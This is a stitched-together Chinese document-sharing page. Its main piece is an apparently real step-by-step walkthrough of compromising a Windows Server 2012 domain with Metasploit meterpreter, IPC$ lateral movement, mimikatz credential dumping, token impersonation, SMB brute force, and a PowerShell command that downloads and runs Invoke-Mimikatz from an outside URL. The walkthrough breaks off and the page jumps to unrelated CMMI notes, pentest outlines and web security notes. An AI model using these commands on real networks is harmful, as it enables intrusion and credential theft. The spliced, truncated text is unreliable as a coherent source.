new_域渗透测试教程

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域渗透测试教程(windows server2012)

乌云ID:大山的放羊娃

域渗透测试教程(windows server2012) (1)

前言 (2)

第一步反弹meterpreter (2)

第二步尝试提权windows server2012 (4)

第三步尝试当前账号Bypassuac测试 (5)

第四步相关信息收集 (6)

第五步信息分析,成功获取一台服务器权限 (8)

第六步域信息收集 (10)

第七步SMB快速扩张控制权限 (16)

第八步Poershell获取域控管理员在线的机器 (18)

第九步域控管理员权限的获取(windows2012权限) (20)

第十步域控我来了(msf psexec反弹shell) (22)

第十一步Meterpreter获取所有用户的hash (24)

第十二步曲折的探索之路 (25)

第十三步我轻轻的来了,我又轻轻的走了,管理员,再见(清理) (26)

总结 (27)

前言

内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:

●免杀payload的生成,请使用Veil

●msf在meterpreter下的提权尝试

●msf在meterpreter下的bypassuac尝试

●内网渗透测试过程中的信息关联

●meterpreter的路由添加以及相关扫描

●Powershell在meterpreter下面的使用

●Meterpreter的post模块使用

●Msf的custom自己生成的payload的使用

●进程注入窃取令牌

其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先shell是别人给我的,也不是这里介绍的重点,所以在此忽略。

渗透测试的环境详细如下:

A堡垒机(webshell所在机器):windows server2012

B堡垒机:windows2008(powershell扫描机器)

C堡垒机:有域管理进程的机器windows server2012

D堡垒机若干

第一步反弹meterpreter

其实每一次的渗透测试开始并不像我们想象的那么顺利,而这一次的开始也同样意味着

我们一次不同的旅程,整个的渗透测试过程我花了差不多四个小时的时间,大部分的时间都是花在解决这些问题之上。

1webshell无法上传exe

本来想着直接上传meterpreter的payload的直接反弹的结果发现上传不了,可以选择powershell的meterpreter的模块来实现

2meterpreter的reverse_tcp模块反弹不成功

Msf的payload的反弹,刚开始我使用的模块是meterpreter的reverse_tcp的模块来尝试,发现可以反弹,但是一直无法建立成功meterpreter,说明一定有监控发现了我们的行为。于是在此基础上尝试meterpreter的reverse_https模块,顺利反弹成功详细遇到的问题和解决过程的图如下所示:

图1-1使用payload

图1-2设置https的payload

图1-3反弹成功

第二步尝试提权windows server2012

当我们首先拿到一个Webshell的时候想到的第一件事是什么?那肯定是提权,我也想大家想的一样,首先开始了我们的提权之旅。首先使用msf的search模块ms15,会得到一些漏洞利用的模块。我尝试了ms15_05以及ms15_078全部以失败结束。详细的图如下所示:

图2-1提权尝试失败

第三步尝试当前账号Bypassuac测试

刚开始一直忘说了一件事,那就是webshell本身的权限,我们目前webshell 是jsp的,具有当前的一个普通域用户的权限。我于是也想到了是不是可以通过bypassuac来完成提权呢,但是测试的结果可想而知,又一次失败了。目前详细的情况如下:

图3-1当前的用户权限

图3-2bypassuac尝试

第四步相关信息收集

当我们此时提权不成功的情况下,我们还是可以利用当前的用户进行域渗透测试的。那么目前我们具有以下几种方式进行渗透测试域:

1收集域里面的相关信息,包括所有的用户,所有的电脑,以及相关关键的组的信息。常使用到的命令如下:

net user/domain

Net group“domain computers”/domain

net group“domain admins”/domain#查看域管理员

net localgroup administrators

net view/domain

2收集sqlserver的相关信息,如果当前堡垒机使用了sql server的话,恰巧用户是当前的域用户的话,我们在此可以使用sqlcmd的信息收集,以及扫描攻击。在这里只是提到,因为篇幅问题,暂时不做深一层讨论

根据我的渗透测试经验,我在此只是做了最简单的信息收集,首先使用sqlcmd的获取sql server的所有机器列表、当前堡垒机的机器名、当前堡垒机的IP、还有net view来做简单的信息收集。详细的图如下所示:

图4-1SQLCMD获取信息

图4-2当前的机器名

图4-3net view相关的机器名

第五步信息分析,成功获取一台服务器权限

当我们信息收集完成以后,我们要开始考虑接下来要做什么。首先我们来看一下我们目前拥有什么:

A一个域用户的进程权限,当前堡垒机是windows server2012,提权失败。(假如能提权成功,我们依然是无法获取到用户的明文密码)

B当前的堡垒机的用户名

C当前sqlcmd获取到的同样安装了sql server机器的名称

目前我们的思路有:

1使用meterpreter的目前权限来添加路由进行弱口令扫描

2使用powershell对内网进行扫描(本次渗透测试使用了,但是在这里暂时没有使用),具体来说时间比较慢一点,当然此时此刻powershell绝对算是一个内网渗透测试又一神器3使用当前的用户权限架设socks4a,然后利用第一步我们获取到的信息socks进行内网扫描

4使用当前用户的权限,对域里面的电脑进行IPC,或者DIR溢出(也就是dir其他电脑的c盘,如果成功表示有权限)批量测试

通过上面的分析,此时我选择了最偷懒的一种方法,进行当前堡垒机的机器名和net view的机器名进行对比,找出来非常相似的几个机器名,手动测试。当前速度也是非常快的,在尝试了两次的时候就成功了。详细过程如下:

Net use\\ip\c$

Tasklist/v/s ip

图5-1net use测试成功

图5-2tasklist执行成功

第六步域信息收集

首先在第四步已经说了域相关的信息收集,这里就不做过多的介绍了,这次是在第五步的基础上做的相关收集,相关知识点如下:

1域信息收集,其中用到的命令如下:

Net group“domain admins”/domain

Net group/domain

Net group“domain controllers”/domain

Net group“enterprise admins”/domain

2ipc$入侵,大家相关的话自行百度经典IPC$入侵

Net use\\ip\c$

Copy bat.bat\\ip\c$(其中bat.bat是powershell的meterpreter)

Net time\\ip

At\\ip time c:\bat.bat

3上传抓明文工具64.exe(mimikatz神器),大家都懂的

Upload/home/64.exe c:\

Shell

Cd\

64.Exe

4查看抓取到的用户的详细信息

Net use xxx/domain

5使用meterpreter的ps,查看相关用户的进程列表

6尝试使用域令牌假冒

Use incongnito

list_token-u

Impersonate_token xxxxxx

我在这次渗透测试过程中尝试上面讲到的所有知识点,详细的截图如下:

图6-1查看域管

图6-2查看域组

图6-3查看域控制器

图6-4查看企业管理组

图6-5共享copy数据

图6-6经典ipc$

图6-7反弹meterpreter成功

图6-8上传文件

图6-9查看服务器信息

图6-10抓取密码

图6-11查看域用户权限

图6-12查看域用户权限

图6-13窃取令牌尝试

图6-14查看主域控的IP

第七步SMB快速扩张控制权限

此时此刻,作为读者你的在想什么呢?是不是当看到第六步的时候就可以去睡觉了,毕竟已经凌晨五点了。但是此时此刻作为一个专业求师傅,求妹子,求神器的人可不这么想。我们要做最后的冲刺,因为黎明的钟声已经敲响。先来看一下我们当前拥有什么权限:有两台堡垒机,两个用户权限

目前我们要做的事情很简单,就是快速的在内网扩大控制权限,那么如何去做,其实很简单的,就是快速的扫描以完成我们的梦想。具体如下:

1使用当前获取到的两个用户权限,快速的进行扫描。扫描哪里了,看到第六步最后一张图6-14了没,就是域控的IP段

2smb_login扫描

3端口转发进内网

目前思路我们已经有了,神器msf终于迎来了自己梦想恶天堂。让我们愉快的玩耍吧。详细知识点如下:

1msf添加路由route add ip mask sessionid

2smb_login模块或者使用psexec_scanner(这个模块需要你自己搜索一下)

3meterpreter端口转发

4msf的socks4a模块(这次渗透测试没使用到,但是并不代表它不美好)

图7-1设置smb_login的参数

图7-2爆破成功的机器

图7-3查看已经获取到的权限

图7-4端口转发和目前拥有的权限

第八步Poershell获取域控管理员在线的机器

内网渗透测试不得不说到两大神器:msf和powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。

首先来讲讲powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,一般使用到的模块有下面三个:

1Empire据说是神器,也确实是神器,我没使用过,暂时不多说

2PowerUp据说提权神器,也确实是神器,我很少使用。也暂时不多说

3PowerView据说是域渗透神器,也确实是神器,我一直用,非常漂亮

来说说powershell的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,主要有三种方式来调用:

1当然是下载到本地执行,详细使用方法如后面连接:powershell"IEX(New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"

2第二种方式是把powershell文件上传到堡垒机本地执行,powershell.exe-exec bypass-Command"&{Import-Module.\powerview.ps1;Invoke-UserHunter}"

3上传到对方本地,然后Import-Module导入,使用

PowerView的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。如果你能看到这里开始你的powershell之旅,内网将开始变得简单。

图8-1powerview的相关方法

废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。Powerview中的Invoke-UserHunter是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图:

图8-1powershell执行命令

图8-2powerview的效果展示

第九步域控管理员权限的获取(windows2012权限)

在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器,又见它windows server2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。

目前来看看我们遇到的问题,通过powershell成功获取到相关的域控管理员在线的一台机器windows server2012,并且用这台机器的权限,那么接下来我们去搞定域控。思路如下:1修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)

2通过PowerUp的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限

3msf的令牌窃取功能(这个可以很容易实现)

知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:

1同样使用ipc经典入侵手法,反弹meterpreter,

Getsysttem权限

Ps查看域管理所在的进程

Migrate pid注入进程

软件开发的几个关键过程 三

软件开发的几个关键过程三 - 一.软件项目管理(Software Project Management) SW-CMM将项目管理分为两个部分,即软件项目计划(Software Project Planning)和软件项目跟踪及监控(Software Project Tracking and Oversighting)。 软件项目计划的目的是为完成软件工程和管理软件项目制定合理的计划。 软件项目计划包含估计待完成的工作,建立必要的约定和确定进

行该工作的计划。 软件计划计划首先作出有关待完成的工作和其它定义及界定软件项目的约束和目标(由需求管理关键过程区域的实践所建立的)的陈述。软件计划过程包括以下步骤:估计软件工作产品规模及所需的资源,制定时间表,鉴别和评估软件风险和协商约定。为了制定软件计划(即软件开发计划),可能需要重复地通过这些步骤。 该计划提供完成和管理软件项目活动的基础,并按照软件项目的资源、约束和能力,阐述对软件项目的顾客作的约定。 软件项目跟踪和监控的目的是建立对实际进展的适当的可视性,使管理者能在软件项目性能明显偏离软件计划时采取有效措施。

软件项目跟踪和监控包括对照已文档化的估计、约定、和计划评审和跟踪软件完成情况和结果。基于实际的完成情况和结果调整这些计划。 软件项目的已文档化的计划(即软件开发计划,正如在软件项目计划关键过程区域中所描述的)用作跟踪软件活动、传送状态和修订计划的基础。管理者监控软件活动。主要通过在所选出的软件工作产品完成时和在所选择的里程碑处,将实际的软件规模。工作量、成本和时间表与计划相比较,来确定进展情况。当确定未实现软件项目计划时,采取纠正措施。这些措施可以包括修订软件开发计划以反映实际的完成情况和重新计划遗留的工作或者采取改进性能的措施。 二.软件需求(Software Requirement) 需求管理的目的是在顾客和将处理顾客需求的软件项目之间建立对顾客需求的共同理解。

WEB应用渗透测试的步骤

渗透测试的两大阶段 渗透测试不能测试出所有可能的安全问题,它只是一个特定环境下才合适的WEB应用安全测试技术。OWASP的渗透测试方法是基于墨盒方法的,测试人员在测试前不知道或只知道很有限的关于被测试应用的信息。 渗透测试被分成两大阶段: ■ 被动模式阶段 在这个阶段,测试人员试图去理解被测应用的逻辑,并且去使用它。可以使用工具去收集信息,例如,可以用HTTP代理工具去观察所有请求与响应。本阶段结束后,测试人员应该理解了应用的所有访问点(如,HTTP报头、参数和COOKIE)。信息收集一节将介绍如何进行被动模式的测试。 ■ 主动模式阶段 这个阶段里,测试人员将利用后述的9大类66种方法主动地去测试。 被动模式阶段 信息收集 安全评估的第一步是收集尽可能多的关于被测应用的信息。信息收集是渗透测试的必要步骤。通常使用公共工具(搜索引擎)、扫描器、发送简单或特别的HTTP请求等来迫使被测应用泄漏信息。 ◆使用蜘蛛、机器人和爬虫 目标是浏览和捕获被测应用相关的资源。 ◆搜索引擎发现与侦察 类似GOOGLE这样的搜索引擎可以用来发现被测应用中已经被公开的错误页面或WEB应用结构问题。 ◆识别应用入口点 枚举被测应用及其攻击面是展开任何攻击的的一个关键性前提。 ◆测试WEB应用指纹 应用指纹是信息收集的第一步。知道正在运行的WEB服务器的版本和类型后,测试人员可以确定已知的漏洞和测试过程中的相应攻击方法。获取WEB应用指纹的自动化工具Httprint和在线工具Netcraft。 ◆应用发现 应用发现是一项面向驻留在WEB/应用服务器中的WEB应用识别的活动。这种分析很重要,因为没有一个链接直接连接到主要应用的后端。分析可以发现有助于揭示诸如用于管理目的的WEB应用程序的细节。此外,它可以揭示诸如取消删除的,过时的脚本文件,这些文件通常是在测试、开发或维护过程产生的。可能使用到的工具: 1、DNS查询工具,如nslookup,dig等。

CMMI3级过程域(PA)

被访谈角色问题说明 -CMMI3 1)高层经理: 高层经理Sheet页内容; 2)EPG人员: 公共实践、OPD、OPF sheet页内容;3)培训管理员: 公共实践、OT sheet页内容。 4)项目经理: 公共实践、立项与结项、PP、PMC、 IPM、RSKM、MA、REQM、VER、DAR sheet页内容。 5)需求人员: 公共实践、RD、REQM、VER、DAR sheet 页内容; 6)设计开发人员: 公共实践、TS、VER、DAR、PI sheet 页内容; 7)测试人员: 公共实践、VAL、VER sheet页内容;8)配置管理员: 公共实践、CM、VER sheet页内容;9)QA人员: 公共实践、PPQA、VER sheet页内容。CMMI3级过程域(PA): 过程管理 1、OPD:(Organizational Process Definition)组织级过程定义。建立和 维护有用的组织过程资产。2、OPF:(Organizational Process Focus) 组织级过程焦点。在理解现有过程强 项和弱项的基础上计划和实施组织过 程改善。 3、OT:(Organizational Training)组织培 训管理。增加开发人员的技能和知识, 使他们能有效地执行他们的任务。 项目管理 4、PP:(Project Plan)项目计划。保证在 正确的时间有正确的资源可用。为每 个人员分配任务。协调人员。根据实 际情况,调整项目。 5、PMC:(Project Monitoring and Control) 项目监督与控制。通过项目的跟踪与 监控活动,及时反映项目的进度、费 用、风险、规模、关键计算机资源及 工作量等情况,通过对跟踪结果的分 析,依据跟踪与监控策略采取有效的 行动,使项目组能在既定的时间、费 用、质量要求等情况下完成项目。 6、SAM:(Supplier Agreement Management)供应商协议管理。旨在 对以正式协定的形式从项目之外的供 方采办的产品和服务实施管理。 7、IPM:(Integrated Project Management) 集成项目管理。根据从组织标准过程 剪裁而来的集成的、定义的过程对项 目和利益相关者的介入进行管理。 8、RSKM:(Risk Management)风险管理。 识别潜在的问题,以便策划应对风险 的活动和必要时在整个项目生存周期 中实施这些活动,缓解不利的影响, 实现目标。 工程管理 9、REQM:(Requirements Management) 需求管理。需求管理的目的是在客户 和软件项目之间就需要满足的需求建 立和维护一致的约定。 10、RD:(Requirement Development) 需求开发。需求开发的目的在于定义 系统的边界和功能、非功能需求,以 便涉众(客户、最终用户)和项目组 对所开发的内容达成一致。 11、TS:(Technical Solution)技术解 决方案。在开发、设计和实现满足需 求的解决方案。解决方案的设计和实 现等都围绕产品、产品组件和与过程 有关的产品。 12、PI:(Product Integration)产品集 成。从产品组件组装产品,确保集成 产品功能正确并交付产品。 13、VER:(Verification)验证。验证 确保选定的工作产品满足需求规格。 14、VAL:(Validation)确认。确认证 明产品或产品部件在实际应用下满足 应用要求。 支持管理: 15、CM:(Configuration Management) 配置管理。建立和维护在项目的整个 软件生存周期中软件项目产品的完整 性。 16、PPQA:(Process and Product Quality Assurance)过程和产品质量保 证。为项目组和管理层提供项目过程 和相关工作产品的客观信息。 17、MA:(Measurement and Analysis) 测量与分析。开发和维持度量的能力, 以便支持对管理信息的需要,作为改 进、了解、控制决策。 18、DAR:(Decision Analysis and Resolution)决策分析与解决。应用正 式的评估过程依据指标评估候选方案, 在此基础上进行决策。 总结CMMI3级的几个重要特点: 1) 明确规定了需求开发、设计、编码、 测试、集成等软件开发各过程的要求。 2) 对项目管理提出了更高的要求,要利 用组织级的数据来管理项目。 3) 出现了专门针对组织级的PA,要求有 专门的组织来负责过程改进的工作。 4) 提供了一个做出最佳决策的指导,而 这个方法可以用于软件工程,也可以用于 组织级过程改进。 注意:本次评估中只包含除SAM(Supplier Agreement Management)供应商协议管理 外的17个过程域。 SG:特定目标 SP:特定实践 立项管理文档立项管理(Project Initialization Management,PIM)的目的是:(1)采纳符合 机构最大利益的立项建议被采纳,避免浪费机构 的人力资源、资金、时间等。 【√设计】TS-技术解决方案 【√设计】DAR-决策分析与解决 【√设计、开发】VER(同行评审)-验证 【√开发】PI-产品集成

APP渗透测试方案

APP渗透测试方案 2016-7-29 XXXXX公司

目录 1 App渗透简介 (3) 2 APP渗透测试所用工具 (3) 2.1 代理抓包工具 (3) 2.2 反编译工具 (3) 2.3 其他针对服务端的web渗透工具 (4) 3 APP渗透测试的方法 (5) 3.1 数据包分析、测试 (5) 3.2 APP反编译还原代码 (5) 4 APP渗透测试流程 (5) 4.1 项目启动 (5) 4.1.1 项目启动准备 (5) 4.1.2 实施方案制定 (6) 4.2 项目实施 (6) 4.2.1 信息收集 (6) 4.2.2 平台使用不当的测试 (6) 4.2.3 不安全的数据存储的测试 (6) 4.2.4 不安全的通信的测试 (7) 4.2.5 不安全的身份验证的测试 (7) 4.2.6 加密不足的测试 (7) 4.2.7 不安全的授权的测试 (7)

4.2.8 客户端代码质量问题的测试 (7) 4.2.9 代码篡改的测试 (7) 4.3 项目收尾 (8) 4.3.1 报告编写 (8) 4.3.2 问题复查 (8)

1App渗透简介 移动app大多通过web api服务的方式跟服务端交互,这种模式把移动安全跟web安全绑在一起。移动app以web服务的方式跟服务端交互,服务器端也是一个展示信息的网站,常见的web漏洞在这也存在,比如说SQL注入、文件上传、中间件/server漏洞等。 2APP渗透测试所用工具 2.1代理抓包工具 ?Burpsuit ?Fiddler 代理抓包工具主要用于抓取、分析、篡改APP与服务端之间的交互数据包。 爆破、解编码、执行会话令牌等作用。 2.2反编译工具 APP的反编译有两种反编译方式,dex2jar和apktool,两个工具反编译的效果是不一样的,dex2jar反编译出java源代码,apktool反编译出来的是java 汇编代码。 ?工具1:dex2jar+jdgui ?工具2:apktool 工具1反编译出来的是java源代码,易读性比较高。

Web网站渗透测试论文

XXX 职业技术学院 毕业设计(论文) 题目: Web 网站渗透测试技术研究 系 (院) 信息系 专业班级 计算机网络 学 号 1234567890 学生姓名 XXX 校内导师 XXX 职 称 讲师 企业导师 XXX 职 称 工程师 企业导师 XXX 职 称 工程师 ----------------------------------------------装 订 线 ----------------------------------------------

Web网站渗透测试技术研究 摘要: 随着网络技术的发展和应用领域的扩张,网络安全问题越来越重要。相对于传统的系统安全,Web网站的安全得到了越来越多的重视。首先,越来越多的网络业务不再用专门的客户机/服务器模式开发,而是运行在Web网站上用浏览器统一访问;其次,和比较成熟的操作系统安全技术比较,Web网站的安全防护技术还不够完善,当前黑客也把大部分注意力集中在Web渗透技术的发展上,使Web网站安全总体上面临相当严峻的局面。 为了确保Web网站的安全,需要采用各种防护措施。在各种防护措施中,当前最有效的措施是先自己模拟黑客攻击,对需要评估的网站进行Web渗透测试,找到各种安全漏洞后再针对性进行修补。 本文在对Web网站渗透测试技术进行描述的基础上,配置了一个实验用Web网站,然后对此目标网站进行了各种黑客渗透攻击测试,找出需要修补的安全漏洞,从而加深了对Web 安全攻防的理解,有利于以后各种实际的网络安全防护工作。 关键词: 网络安全;Web网站;渗透测试 Web site penetration testing technology research Abstract: With the expansion of the network technology development and applications, network security issues become increasingly important. Compared with the traditional system security, Web security has got more and more attention. First, more and more network applications no longer develop with specialized client / server model, but run on the Web site and accessed by browser; Secondly, operating system security technology is relatively safe, but secure Web site protection technology is still not perfect, so the most of the curr ent hackers’attention focused on the development of Web penetration technology, the Web site is facing serious security situation in general. To ensure the security Web site, you need to use a variety of protective measures. In a variety of protective measures, the most effective measure is to own hacking simulation, the need to assess the Web site penetration testing, to find a variety of security vulnerabilities before specific repair. Based on the Web site penetration testing techniques described, the configuration of an experimental Web site, then this target site penetration of various hacker attack test, identify areas that need patching security holes, thereby deepening of Web security offensive understanding, there is conducive to future practical network security protection work. Keywords: Network Security, Web sites, penetration testing

Web渗透测试流程

超实用!手把手教你如何3步进行Web渗透测试! 一个偶然的机会,有幸邀请到了一家国外专门做web安全的公司来对自己的web系统做安全测试。4周下来,我与几位安全专家多次沟通,完成了对自己系统的威胁建模,渗透测试,白盒测试,一共发现了28个漏洞。经验宝贵,因此有必要好好总结下。 现在,随着企业信息化建设的开展,越来越多的重要数据会以电子媒介的形式存放,这在方便企业办公的同时,也造成了极大的安全隐患。近年来,随着APT攻击的蔓延,使得越来越多的企业遭受不可挽回的重大损失。 在目的明确、装备精良、经验丰富的“雇佣军”式的攻击者面前,传统的安全设备已显得力不从心,企业需要做的是定期开展专业的渗透测试,来降低风险,加固安全。 那么,什么是渗透测试? 渗透测试,是渗透测试工程师完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标网

络、主机、应用的安全作深入的探测,发现系统最脆弱的环节。 如果说安全检测是“横向地毯式自动化扫描”,那么渗透测试就是“纵向深度人工化入侵”。可见渗透测试的目的是发现目标系统潜在的业务漏洞风险。 安全问题都体现在输入输出的问题上,能够分析数据流就有迹可循了。先知道渗透测试的流程,用工具找到漏洞,了解并且复现它。 如何进行Web渗透测试? 1、完整web渗透测试框架 当需要测试的web应用数以千计,就有必要建立一套完整的安全测试框架,流程的最高目标是要保证交付给客户的安全测试服务质量。 立项:项目建立,时间安排,人力分配,目标制定,厂商接口人确定; 系统分析&威胁分析:针对具体的web应用,分析系统架构、使用的组件、对外提供的接口等,以STRIDE为威胁模型进行对应的安全威胁分析,输出安全威胁分析表,重点关注top3威胁; 制定测试用例:根据威胁分析的结果制定对应的测试用例,测试用例按照模板输出,具备可执行性; 测试执行&漏洞挖掘:测试用例执行&发散测试,挖掘对应的安全问题or漏洞; 问题修复&回归测试:指导客户应用开发方修复安全问题or漏洞,并进行回归测试,确保安全问题or漏洞得到修复,并且没有引入新的安全问题; 项目总结评审:项目过程总结,输出文档评审,相关文档归档。

一次WEB服务器渗透测试笔记

一次WEB服务器渗透测试笔记 作者:佚名文章来源:网络点击数:78 更新时间:2008-11-17 渗透测试是最能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作 此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。 首先当然是常规的扫描nmap -v -sS -O 211.***.***.114,得到的结果如下: (The 1641 ports scanned but not shown below are in state: filtered) Port State Service 80/tcp open http Device type: general purpose Running: FreeBSD 4.X OS details: FreeBSD 4.7-RELEASE (注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。) 这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW 或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。

但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。 嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked... ... 当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!! 放弃?!当然不!“一条铁链的强度取决于其最薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,最好先估算一下对方的地址段的长 度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127 。这个不用解释了吧! 拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中最另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机就是突破口! http://211.***.***.116 出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“Powered by China Power Board v1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。 用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们最关心的东西,该表有四列:a_id admin password a_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,就可以进行下一步了:

CMM介绍与关键过程域说明

CMM它是对于软件组织在定义、实施、度量、控制和改善其软件过程的实践中各个发展阶段的描述。CMM的核心是把软件开发视为一个过程,并根据这一原则对软件开发和维护进行过程监控和研究,以使其更加科学化、标准化、使企业能够更好地实现商业目标。CMM是一种用于评价软件承包能力并帮助其改善软件质量的方法,侧重于软件开发过程的管理及工程能力的提高与评估。CMM分为五个等级:一级为初始级,二级为可重复级,三级为已定义级,四级为已管理级,五级为优化级。 CMM它是目前国际上最流行、最实用的一种软件生产过程标准,已经得到了众多国家以及国际软件产业界的认可,成为当今企业从事规模软件生产不可缺少的一项内容。CMM 有助于组织建立一个有规律的、成熟的软件过程。改进的过程将会生产出质量更好的软件,使更多的软件项目免受时间和费用的超支之苦。 软件过程包括各种活动、技术和用来生产软件的工具。因此,它实际上包括了软件生产的技术方面和管理方面。CMM明确地定义了5个不同的“成熟度”等级,一个组织可按一系列小的改良性步骤向更高的成熟度等级前进。 成熟度等级1:初始级(Initial)。处于这个最低级的组织,基本上没有健全的软件工程管理制度。每件事情都以特殊的方法来做。如果一个特定的工程碰巧由一个有能力的管理员和一个优秀的软件开发组来做,则这个工程可能是成功的。然而通常的情况是,由于缺乏健全的总体管理和详细计划,时间和费用经常超支。结果,大多数的行动只是应付危机,而非事先计划好的任务。处于成熟度等级1的组织,由于软件过程完全取决于当前的人员配备,所以具有不可预测性,人员变化了,过程也跟着变化。结果,要精确地预测产品的开发时间和费用之类重要的项目,是不可能的。 成熟度等级2:可重复级(Repeatable)。在这一级,有些基本的软件项目的管理行为、设计和管理技术是基于相似产品中的经验,故称为“可重复”。在这一级采取了一定措施,这些措施是实现一个完备过程所必不可缺少的第一步。典型的措施包括仔细地跟踪费用和进度。不像在第一级那样,在危机状态下方行动,管理人员在问题出现时便可发现,并立即采取修正行动,以防它们变成危机。关键的一点是,如没有这些措施,要在问题变得无法收拾前发现它们是不可能的。在一个项目中采取的措施也可用来为未来的项目拟定实现的期限和费用计划。 成熟度等级3:已定义级(Defined)。在第3级,已为软件生产的过程编制了完整的文档。软件过程的管理方面和技术方面都明确地做了定义,并按需要不断地改进过程,而且采用评审的办法来保证软件的质量。在这一级,可引用CASE环境来进一步提高质量和产生率。而在第—级过程中,“高技术”只会使这一危机驱动的过程更混乱。 成熟度等级4:已管理级(Managed)。一个处于第4级的公司对每个项目都设定质量和生产目标。这两个量将被不断地测量,当偏离目标太多时,就采取行动来修正。利用统计质量控制,管理部门能区分出随机偏离和有深刻含义的质量或生产目标的偏离(统计质量控制措施的一个简单例子是每千行代码的错误率。相应的目标就是随时间推移减少这个量)。 成熟度等级5:优化级(Optimizing)。—个第5级组织的目标是连续地改进软件过程。这样的组织使用统计质量和过程控制技术作为指导。从各个方面中获得的知识将被运用在以后的项目中,从而使软件过程融入了正反馈循环,使生产率和质量得到稳步的改进。整个企业将会把重点放在对过程进行不断的优化,采取主动的措施去找出过程的弱点与长处,以达到预防缺陷的目标。同时,分析各有关过程的有效性资料,作出对新技术的成本与效益的分析,并提出对过程进行修改的建议。达到该级的公司可自发的不断改进,防止同类缺陷二次出现。 Cmm2的关键过程是:需求管理、软件项目计划、软件项目跟踪和监控、软件转包合同、软件质量保证、软件配置管理。这六个关键过程域主要涉及建立基本项目管理和控制方

web安全渗透测试培训安全测试总结

web安全渗透测试培训安全测试总结 跨站点脚本攻击(Xss) Burpsuite探测反射型xss问题请求的值没有做处理就在响应中返回 越权访问定义:不同权限账户之间的功能及数据存在越权访问。 测试方法: 1.抓取A用户功能链接,然后登录B用户对此链接进行访问。 2.抓取用户A的uesrid,用用户B登录时替换为用户A的userid。 3.抓取用户A的cookie,用用户B登录时替换用户A的cookie。 文上传漏洞定义:没有对上传文扩展名进行限制或者限制可以被绕过。 测试方法:找到系统中可以上传文的地方,抓取功能链接,修改文扩展名,看响应包的状态。 关键会话重放攻击定义:可以抓取包固定账号破解密码、固定密码破解账号和重放提交投票数据包。 测试方法:

使用抓包工具抓取系统登录请求,获得用户和密码参数,使用用户或密码字典替代登录请求会话中对应的用户或密码参数,暴力破解。 中间weblogic命令执行漏洞定义:weblogic反序列化漏洞,可以执行系统命令。 测试方法: 使用CVE-20XX-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入 192.168.2.103:7001。在windows主机打开命令行运行CVE-20XX-2628-MultiThreading.py开始检测。 敏感信息泄露定义:系统暴露系统内部信息,包括网站绝对路径泄露、SQL语句泄露、中间泄露、程序异常回显。 测试方法: 1.使用抓包工具对系统中的参数进行篡改,加入特殊符号“’、--、&;”,查看返回数据包。 2.查看系统前端js代码。 SQL语句泄露中间版本泄露程序异常回显程序异常回显后台泄露漏洞中间后台泄露定义:weblogic后台地址过于简单,攻击者很容易猜测和破解到后台地址。 测试方法: 1.不允许使用默认地址 2.不允许只修改控制台访问地址的端口号

福师《软件过程管理》 练习题答案

